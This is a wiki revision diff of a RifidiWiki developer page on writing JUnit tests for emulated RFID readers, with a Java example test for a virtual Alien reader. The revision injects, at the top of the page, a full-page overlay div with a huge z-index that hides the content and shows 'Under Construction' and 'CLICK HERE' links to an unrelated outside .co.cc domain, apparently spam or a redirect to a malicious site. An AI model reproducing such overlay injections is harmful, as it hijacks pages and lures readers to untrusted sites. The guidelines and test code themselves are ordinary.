Difference between revisions of "ReaderJunits"

From RifidiWiki

Jump to: navigation, search
m
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ogetehuvo.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ogetehuvo.co.cc CLICK HERE]=
 +
----
 +
</div>
 
[[category:developerDoc]]
 
[[category:developerDoc]]
 
=Purpose of Junits=
 
=Purpose of Junits=
Line 8: Line 16:
 
#Create a new package for your tests
 
#Create a new package for your tests
 
#Add a new Junit in eclipse
 
#Add a new Junit in eclipse
##New->Other->Junit Test Case
+
##New-&gt;Other-&gt;Junit Test Case
 
##Fill in the information in the wizard.  You need a Junit 4 test case with the SetUpBeforeClass() and TearDownAfterClass() methods generated.[[image:Newjunit.png]]
 
##Fill in the information in the wizard.  You need a Junit 4 test case with the SetUpBeforeClass() and TearDownAfterClass() methods generated.[[image:Newjunit.png]]
  
Line 18: Line 26:
 
* When creating a Junit, it is important to add comments to almost everything you do, because your test might not fail for months after you've written it, and it will be difficult to go in and figure out why it failed if there are no comments
 
* When creating a Junit, it is important to add comments to almost everything you do, because your test might not fail for months after you've written it, and it will be difficult to go in and figure out why it failed if there are no comments
 
* It is important to think through exactly what you want to test and make sure that you are testing it well.  For example, The following test could be designed better, because it will not fail if more than one tag comes back from the alien reader for some reason after the getTaglist command is sent
 
* It is important to think through exactly what you want to test and make sure that you are testing it well.  For example, The following test could be designed better, because it will not fail if more than one tag comes back from the alien reader for some reason after the getTaglist command is sent
* It is also important that one test not depend on the state of previously run test.  All test methods should run independently and should only assume that SetUpBeforeClass() has finished without error.  For example, if I added another test method to run after the <tt>getTaglistTest</tt> method, it should not assume that a tag is on the reader.  Also this test method should have removed the tag after it was done.
+
* It is also important that one test not depend on the state of previously run test.  All test methods should run independently and should only assume that SetUpBeforeClass() has finished without error.  For example, if I added another test method to run after the &lt;tt&gt;getTaglistTest&lt;/tt&gt; method, it should not assume that a tag is on the reader.  Also this test method should have removed the tag after it was done.
  
 
==Junits for org.rifidi.emulator 1.x==
 
==Junits for org.rifidi.emulator 1.x==
<pre>
+
&lt;pre&gt;
 
/**
 
/**
 
  *  
 
  *  
Line 66: Line 74:
 
private static final Log logger = LogFactory.getLog(AlienExample.class);
 
private static final Log logger = LogFactory.getLog(AlienExample.class);
  
public static final String READER_IP_ADDRESS = "127.0.0.1";
+
public static final String READER_IP_ADDRESS = &quot;127.0.0.1&quot;;
 
public static final int READER_PORT = 20000;
 
public static final int READER_PORT = 20000;
public static final String READER_NAME = "virtualAlienReader";
+
public static final String READER_NAME = &quot;virtualAlienReader&quot;;
  
public static final String RMI_SERVER_IP_ADDRESS = "127.0.0.1";
+
public static final String RMI_SERVER_IP_ADDRESS = &quot;127.0.0.1&quot;;
 
public static final int RMI_SERVER_PORT = 1099;
 
public static final int RMI_SERVER_PORT = 1099;
  
Line 114: Line 122:
 
alienGRPH.setNumGPOs(2);
 
alienGRPH.setNumGPOs(2);
 
alienGRPH.setReaderName(READER_NAME);
 
alienGRPH.setReaderName(READER_NAME);
alienGRPH.setReaderClassName("org.rifidi.emulator.reader.alien.module.AlienReaderModule");
+
alienGRPH.setReaderClassName(&quot;org.rifidi.emulator.reader.alien.module.AlienReaderModule&quot;);
alienGRPH.setProperty("inet_address", READER_IP_ADDRESS + ":"+ READER_PORT);
+
alienGRPH.setProperty(&quot;inet_address&quot;, READER_IP_ADDRESS + &quot;:&quot;+ READER_PORT);
alienGRPH.setProperty("heartbeat_address", READER_IP_ADDRESS + ":54321");
+
alienGRPH.setProperty(&quot;heartbeat_address&quot;, READER_IP_ADDRESS + &quot;:54321&quot;);
  
 
// create the reader
 
// create the reader
Line 123: Line 131:
 
// get the reader manager from the RMI server
 
// get the reader manager from the RMI server
 
alienManager = (ReaderModuleManagerInterface) TransparentItemProxy
 
alienManager = (ReaderModuleManagerInterface) TransparentItemProxy
.getItem("//" + RMI_SERVER_IP_ADDRESS + ":" + RMI_SERVER_PORT + "/" + READER_NAME,
+
.getItem(&quot;//&quot; + RMI_SERVER_IP_ADDRESS + &quot;:&quot; + RMI_SERVER_PORT + &quot;/&quot; + READER_NAME,
 
        new Class[] { ReaderModuleManagerInterface.class });
 
        new Class[] { ReaderModuleManagerInterface.class });
  
Line 142: Line 150:
 
System.out.println(readFromReader(in));
 
System.out.println(readFromReader(in));
 
// send user name
 
// send user name
out.write("alien\n");
+
out.write(&quot;alien\n&quot;);
 
out.flush();
 
out.flush();
 
// read resoponse
 
// read resoponse
Line 148: Line 156:
 
Thread.sleep(500);
 
Thread.sleep(500);
 
// send password
 
// send password
out.write("password\n");
+
out.write(&quot;password\n&quot;);
 
out.flush();
 
out.flush();
 
System.out.println(readFromReader(in));
 
System.out.println(readFromReader(in));
Line 164: Line 172:
 
@AfterClass
 
@AfterClass
 
public static void tearDownAfterClass() throws Exception {
 
public static void tearDownAfterClass() throws Exception {
out.write("q");
+
out.write(&quot;q&quot;);
 
connection.close();
 
connection.close();
 
alienManager.turnReaderOff();
 
alienManager.turnReaderOff();
Line 172: Line 180:
  
 
/**
 
/**
* This is a Junit Test. Use the "@Test" annotation above the class so that
+
* This is a Junit Test. Use the &quot;@Test&quot; annotation above the class so that
 
* it will be run as a Junit.
 
* it will be run as a Junit.
 
*  
 
*  
Line 184: Line 192:
 
public void getTaglistTest() throws Exception {
 
public void getTaglistTest() throws Exception {
 
// make sure information comes back in the right format
 
// make sure information comes back in the right format
String command1 = "\1set TagListFormat = TEXT\n";
+
String command1 = &quot;\1set TagListFormat = TEXT\n&quot;;
 
out.write(command1);
 
out.write(command1);
 
out.flush();
 
out.flush();
 
String returnVal1 = readFromReader(in);
 
String returnVal1 = readFromReader(in);
Assert.assertTrue(returnVal1.toLowerCase().contains("TagListFormat = TEXT".toLowerCase()));
+
Assert.assertTrue(returnVal1.toLowerCase().contains(&quot;TagListFormat = TEXT&quot;.toLowerCase()));
  
 
// create a new tag
 
// create a new tag
Line 195: Line 203:
 
C1G2Tag t = new C1G2Tag(epcID, pass, pass.clone());
 
C1G2Tag t = new C1G2Tag(epcID, pass, pass.clone());
 
RifidiTag tag = new RifidiTag(t);
 
RifidiTag tag = new RifidiTag(t);
ArrayList<RifidiTag> tags = new ArrayList<RifidiTag>();
+
ArrayList&lt;RifidiTag&gt; tags = new ArrayList&lt;RifidiTag&gt;();
 
tags.add(tag);
 
tags.add(tag);
  
Line 204: Line 212:
  
 
// send a get taglist command
 
// send a get taglist command
out.write("\1getTaglist\n");
+
out.write(&quot;\1getTaglist\n&quot;);
 
out.flush();
 
out.flush();
 
String taglist = readFromReader(in);
 
String taglist = readFromReader(in);
Line 210: Line 218:
  
 
// process command and compare byte ids.
 
// process command and compare byte ids.
String[] info = taglist.split(",");
+
String[] info = taglist.split(&quot;,&quot;);
String id = info[0].split(":")[1];
+
String id = info[0].split(&quot;:&quot;)[1];
 
byte[] byteID = ByteAndHexConvertingUtility.fromHexString(id.trim());
 
byte[] byteID = ByteAndHexConvertingUtility.fromHexString(id.trim());
 
Assert.assertArrayEquals(epcID, byteID);
 
Assert.assertArrayEquals(epcID, byteID);
Line 229: Line 237:
  
 
}
 
}
</pre>
+
&lt;/pre&gt;
  
 
==Junits for org.rifidi.emulator 2.x==
 
==Junits for org.rifidi.emulator 2.x==
Line 236: Line 244:
 
=Running the Junit Test Case=
 
=Running the Junit Test Case=
 
#Right click the Junit in the tree on the left inside of eclipse
 
#Right click the Junit in the tree on the left inside of eclipse
#Select RunAs -> Junit Plugin Test
+
#Select RunAs -&gt; Junit Plugin Test

Revision as of 23:15, 23 November 2010


Purpose of Junits

Junits are automated tests that programatically test functionality. The advantage of them is that you can run the tests to make sure that as new functionality is added, old functionality doesn't break.

Creating a new Junit in eclipse

Currently our testing packages are stored internally to Pramari because they have dependencies to non-free libraries provided by RFID reader companies. We are currently working on opening up our tests. However, you can ignore the first step and add the test to a testing package contained in your reader's source code.

  1. Checkout org.rifidi.tests and org.rifidi.internal.dependencies from the internal repository
  2. Create a new package for your tests
  3. Add a new Junit in eclipse
    1. New->Other->Junit Test Case
    2. Fill in the information in the wizard. You need a Junit 4 test case with the SetUpBeforeClass() and TearDownAfterClass() methods generated.Newjunit.png


Designing a Junit to Test a Virtual Reader

The test that you are designing depends on which version of emulator you are running. To figure this out, open up the plugin.xml file for org.rifidi.emulator, and look at the plugin version

Junit Guidelines

  • When creating a Junit, it is important to add comments to almost everything you do, because your test might not fail for months after you've written it, and it will be difficult to go in and figure out why it failed if there are no comments
  • It is important to think through exactly what you want to test and make sure that you are testing it well. For example, The following test could be designed better, because it will not fail if more than one tag comes back from the alien reader for some reason after the getTaglist command is sent
  • It is also important that one test not depend on the state of previously run test. All test methods should run independently and should only assume that SetUpBeforeClass() has finished without error. For example, if I added another test method to run after the <tt>getTaglistTest</tt> method, it should not assume that a tag is on the reader. Also this test method should have removed the tag after it was done.

Junits for org.rifidi.emulator 1.x

<pre> /**

* 
*/

package org.rifidi.tests.reader.alien;

import gnu.cajo.utils.extra.TransparentItemProxy;

import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.net.Socket; import java.util.ArrayList;

import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.junit.AfterClass; import org.junit.Assert; import org.junit.BeforeClass; import org.junit.Test; import org.rifidi.emulator.reader.module.GeneralReaderPropertyHolder; import org.rifidi.emulator.rmi.server.ReaderModuleManagerInterface; import org.rifidi.emulator.rmi.server.RifidiManager; import org.rifidi.emulator.rmi.server.RifidiManagerInterface; import org.rifidi.emulator.tags.impl.C1G2Tag; import org.rifidi.emulator.tags.impl.RifidiTag; import org.rifidi.utilities.formatting.ByteAndHexConvertingUtility;

/**

* 
* This Junit is designed to demonstrate how to write Junits for Rifidi Virtual
* Readers
* 
* @author Kyle Neumeier - kyle@pramari.com
* 
*/

public class AlienExample {

/** * The logger for this class. Allows you to keep track of debug statements * instead of using */ private static final Log logger = LogFactory.getLog(AlienExample.class);

public static final String READER_IP_ADDRESS = "127.0.0.1"; public static final int READER_PORT = 20000; public static final String READER_NAME = "virtualAlienReader";

public static final String RMI_SERVER_IP_ADDRESS = "127.0.0.1"; public static final int RMI_SERVER_PORT = 1099;

/** * The RMI Client Interface for the Alien Reader. It allows you to turn the * reader on and off as well as add and remove tags to the antenna */ private static ReaderModuleManagerInterface alienManager;

/** * The Interface for the RMI server */ private static RifidiManagerInterface RMIManager;

/** * The client connection to the Alien reader */ private static Socket connection = null; private static PrintWriter out = null; private static BufferedReader in = null;

/** * This method is run before any of the tests in this file * * @throws java.lang.Exception */ @BeforeClass public static void setUpBeforeClass() throws Exception { // set up RMI Server, Client, and Readers RifidiManager.startManager(RMI_SERVER_IP_ADDRESS, RMI_SERVER_PORT); RMIManager = RifidiManager.getManager();

/* * The General Reader Property Holder contains information needed to * instantiate the virutal reader. Note that the GRPH has a property map * in it that is different for every reader. To find out which * properties you should have in your reader, look at the required * properties in the emulator.xml file in the reader project. */ GeneralReaderPropertyHolder alienGRPH = new GeneralReaderPropertyHolder(); alienGRPH.setNumAntennas(2); alienGRPH.setNumGPIs(2); alienGRPH.setNumGPOs(2); alienGRPH.setReaderName(READER_NAME); alienGRPH.setReaderClassName("org.rifidi.emulator.reader.alien.module.AlienReaderModule"); alienGRPH.setProperty("inet_address", READER_IP_ADDRESS + ":"+ READER_PORT); alienGRPH.setProperty("heartbeat_address", READER_IP_ADDRESS + ":54321");

// create the reader RMIManager.createReader(alienGRPH);

// get the reader manager from the RMI server alienManager = (ReaderModuleManagerInterface) TransparentItemProxy .getItem("//" + RMI_SERVER_IP_ADDRESS + ":" + RMI_SERVER_PORT + "/" + READER_NAME, new Class[] { ReaderModuleManagerInterface.class });

// turn on the reader alienManager.turnReaderOn();

// wait for reader to turn on Thread.sleep(500);

// create a new client connection connection = new Socket(READER_IP_ADDRESS, READER_PORT);

in = new BufferedReader(new InputStreamReader(connection.getInputStream())); out = new PrintWriter(connection.getOutputStream());

try { // read welcome message System.out.println(readFromReader(in)); // send user name out.write("alien\n"); out.flush(); // read resoponse System.out.println(readFromReader(in)); Thread.sleep(500); // send password out.write("password\n"); out.flush(); System.out.println(readFromReader(in)); } catch (Exception e) { Assert.fail(e.getMessage()); } }

/** * This class is run after all the tests in this class have been run. It * should shut down the reader and tear down the RMI server * * @throws java.lang.Exception */ @AfterClass public static void tearDownAfterClass() throws Exception { out.write("q"); connection.close(); alienManager.turnReaderOff(); RMIManager.removeReader(READER_NAME); RMIManager.cleanup(); }

/** * This is a Junit Test. Use the "@Test" annotation above the class so that * it will be run as a Junit. * * This Junit adds a tag to the reader, then sends a get taglist command to * the reader. It then compares the response with the sent tag information * and will fail if the information is not the same. * * @throws Exception */ @Test public void getTaglistTest() throws Exception { // make sure information comes back in the right format String command1 = "\1set TagListFormat = TEXT\n"; out.write(command1); out.flush(); String returnVal1 = readFromReader(in); Assert.assertTrue(returnVal1.toLowerCase().contains("TagListFormat = TEXT".toLowerCase()));

// create a new tag byte[] epcID = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C }; byte[] pass = { 0x00, 0x00, 0x00, 0x00 }; C1G2Tag t = new C1G2Tag(epcID, pass, pass.clone()); RifidiTag tag = new RifidiTag(t); ArrayList<RifidiTag> tags = new ArrayList<RifidiTag>(); tags.add(tag);

// add tag to antenna 0 on the reader alienManager.addTags(0, tags);

Thread.sleep(500);

// send a get taglist command out.write("\1getTaglist\n"); out.flush(); String taglist = readFromReader(in); logger.debug(taglist);

// process command and compare byte ids. String[] info = taglist.split(","); String id = info[0].split(":")[1]; byte[] byteID = ByteAndHexConvertingUtility.fromHexString(id.trim()); Assert.assertArrayEquals(epcID, byteID);

}

public static String readFromReader(BufferedReader inBuf) throws IOException { StringBuffer buf = new StringBuffer(); int ch = inBuf.read(); while ((char) ch != '\0') { buf.append((char) ch); ch = inBuf.read(); } return buf.toString(); }

} </pre>

Junits for org.rifidi.emulator 2.x

Creating Junits for emulator 2.x is similar to that. The main difference is how tags are created. An example is coming soon.

Running the Junit Test Case

  1. Right click the Junit in the tree on the left inside of eclipse
  2. Select RunAs -> Junit Plugin Test